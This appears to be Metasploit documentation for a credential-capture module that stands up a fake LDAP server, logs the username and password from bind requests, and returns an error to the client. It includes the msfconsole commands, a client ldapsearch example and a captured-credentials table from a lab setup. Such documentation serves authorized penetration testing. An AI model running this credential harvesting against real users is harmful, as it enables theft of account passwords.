1.4 KiB
1.4 KiB
Vulnerable Application
This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials.
Upon receiving successful Bind Request, a ldap_bind: Authentication method not supported (7)
error is sent to the User
Verification Steps
- Start msfconsole
- Do:
use auxiliary/server/capture/ldap
- Do:
run
- From a new shell or workstation, perform a ldap bind request involving User credentials.
- Check the database using
creds
for the user authentication information.
Options
Authentication
The type of LDAP authentication to capture. The default type is Simple
Scenarios
Metasploit Server
msf6 > use auxiliary/server/capture/ldap
msf6 auxiliary(server/capture/ldap) > run
[*] Server started.
[+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass
Client
└─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W
Enter LDAP Password:
ldap_bind: Auth Method Not Supported (7)
additional info: Auth Method Not Supported
Database
msf6 auxiliary(server/capture/ldap) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password